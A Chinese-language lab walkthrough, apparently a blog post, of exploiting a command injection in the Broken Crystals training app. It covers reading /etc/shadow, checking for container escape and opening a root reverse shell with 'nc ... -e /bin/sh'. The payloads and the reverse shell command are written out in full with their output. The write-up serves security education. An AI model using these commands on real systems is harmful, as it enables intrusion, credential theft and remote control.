6 min read

Broken Crystals 實戰筆記 2:從一個 query 參數打到 root reverse shell

Broken Crystals 實戰筆記 2:從一個 query 參數打到 root reverse shell
接續上一篇,我已經用 /api/file 的任意檔案讀取(LFI)把 Broken Crystals 從黑箱變成白箱——後端 NestJS 的編譯後源碼可以隨意讀,這一篇把源碼審計發現的 /api/spawn OS 命令注入,一路打到容器內 root 的互動式 reverse shell,並記錄過程中關於「無 shell 命令注入」與「WSL2 反彈 shell」的兩個實用細節。

一、白箱定位:源碼一眼看穿命令注入

有了 LFI,讀後端源碼就是抄捷徑,讀 dist/app.controller.js/api/spawn 的實作幾乎是明示的:

async getCommandResult(command) {
    return await this.appService.launchCommand(command);   // command 直接進 launchCommand
}

搭配 @Get('spawn')@Query('command'),Swagger 範例還大方寫著 example: 'ls -la',使用者全控的 command 直接餵進 launchCommand——這根本是設計來被打 RCE 的端點,同一份 controller 其實還躺著 /api/process_numberseval() SSJI 與 /api/metadata 的 XXE,都是 RCE 等級,這篇先聚焦 spawn 這條,其餘之後處理。

二、確認命令注入:一發就是 root

先做無害驗證,確認它真的執行系統命令:

curl -s "http://localhost:3000/api/spawn?command=id"
# uid=0(root) gid=0(root) groups=0(root),...

uid=0(root)——不只 RCE,還直接是 root

這裡有個值得停下來的對照:先前讀 /etc/passwd 時,app 對外顯示是由 node(uid 1000)使用者跑的,但 spawn 執行 id 卻回 root,這代表這個 nodejs 容器本身是以 root 執行,是命令注入 + 容器內 root 的雙重問題。

三、關鍵特性:spawn 不經 shell

拿到 RCE 後的直覺是串接命令,但這裡踩到一個很有代表性的坑:

curl -s "http://localhost:3000/api/spawn?command=id;whoami;hostname"
# {"error":"spawn id;whoami;hostname ENOENT",...}

ENOENT(Error NO ENTry)代表找不到該執行檔——注意它把整串 id;whoami;hostname 當成一個命令名去找,這揭曉了底層實作:它是 Node 的 spawn(command)沒有經過 shell

由此可以判斷命令注入的類型,這在真實滲透很關鍵:

  • 有 shellexec("...")sh -c)→ ;&&|$() 等 shell 元字元有效,可自由串接。
  • 無 shellspawn(cmd, args) 不帶 {shell:true})→ 整串被當成單一執行檔名,元字元沒有意義。

但它並非完全不能帶參數,實測它會用空格拆分,第一個當執行檔、其餘當參數:

curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=cat /etc/shadow"
# root:*::0:::::  ... (成功讀到只有 root 能讀的 shadow)

所以能力邊界很清楚:可執行任意「帶空格參數的單一命令」,但不能用元字元串接多命令。

小技巧:命令含空格、特殊字元時,用 curl -G ... --data-urlencode "command=..." 讓 curl 自動處理 URL 編碼,不必手動算 %20,這在真實 bug bounty 送 payload 時同樣好用。

四、容器逃逸偵查:確認天花板

拿到容器內 root,第一個該問的是「能不能逃到宿主機」,逐項偵查:

# docker.sock 是否被掛入
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=ls -la /var/run/docker.sock"
# ls: /var/run/docker.sock: No such file or directory

# capabilities
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=cat /proc/self/status" | grep -i cap
# CapEff: 00000000a80425fb

判讀:

  • 沒有 docker.sock → 最直接的「透過 socket 控制宿主 daemon」逃逸路斷了。
  • CapEff: a80425fb → 這是 Docker 的預設 capability 集,不含 cap_sys_admin(特權逃逸最愛的那個),代表這是標準的非特權容器。

結論:容器內雖是 root,但屬標準隔離的非特權容器,逃不到宿主,到容器內 root 就是這條線的天花板——這也是靶場負責任的設計,讓你玩到 root RCE,但不會不小心搞爛宿主機。

五、升級 reverse shell

一發一發 curl 很累,且無法串接,升級成互動式 reverse shell 是 RCE 後的標準動作。

環境偵查

先看容器有哪些反彈工具(Alpine 極精簡):

curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=which nc bash sh python3 perl busybox"
# /usr/bin/nc      (只有 nc,其餘皆無)

只有 nc。再確認它的類型與是否支援 -e

curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc --help"
# BusyBox v1.37.0 ... -e PROG Run PROG after connect (must be last)

是 BusyBox nc,而且有 -emust be last,參數要放最尾),這省去了無 -e 時要搞 mkfifo 管道的麻煩。

網路偵查

curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=ip route"
# default via 172.22.0.1 dev eth0

172.22.0.1 是 Docker 網路閘道,也就是 WSL2 主機在容器眼中的位址——reverse shell 就連這個。

「無 shell」限制在這裡反而幫了忙

-e 的反彈 payload 需要 ;|>2>&1 等元字元,在 spawn 下全部失效。但因為這顆 nc 有 -e,反彈本身就是一個純空格分隔的命令,不需要任何元字元:

nc  172.22.0.1  4444  -e  /bin/sh

這正好是 spawn("nc", ["172.22.0.1","4444","-e","/bin/sh"]) 的天然形狀——spawn 的空格拆分反而幫我們把參數分好了。

Listener 開在 WSL

# 在 WSL Kali 新分頁
nc -lvnp 4444

送 payload:

curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc 172.22.0.1 4444 -e /bin/sh"

結果:

connect to [172.22.0.1] from (UNKNOWN) [172.22.0.7] 35451
id
uid=0(root) gid=0(root) groups=0(root),...

容器內 root 互動式 shell 到手。

攻擊鏈總結

白箱源碼審計 (讀 dist/app.controller.js)
    └─ 定位 /api/spawn 命令注入
         ├─ command=id                → uid=0(root)  (直接 root RCE)
         ├─ 判斷類型:spawn 無 shell   (; 串接 ENOENT,但空格參數可用)
         ├─ 逃逸偵查:無 docker.sock、非特權容器 → 天花板在容器內
         └─ BusyBox nc -e 反彈        → 容器內 root 互動式 shell

一個 ?command= query 參數,經過「確認 RCE → 判斷命令注入類型 → 容器逃逸偵查 → 升級 reverse shell」的完整流程,拿到容器完整控制權,重點不在漏洞本身多簡單,而在拿到 RCE 之後那套系統化的評估與擴大——判斷命令注入是否經 shell、容器能否逃逸、如何在受限環境下彈出互動 shell,這些才是可遷移到真實目標的手感。

本文為授權範圍內的本機自建靶場測試紀錄,所有內容僅供防禦研究與教育用途。請勿將任何技術用於未授權目標。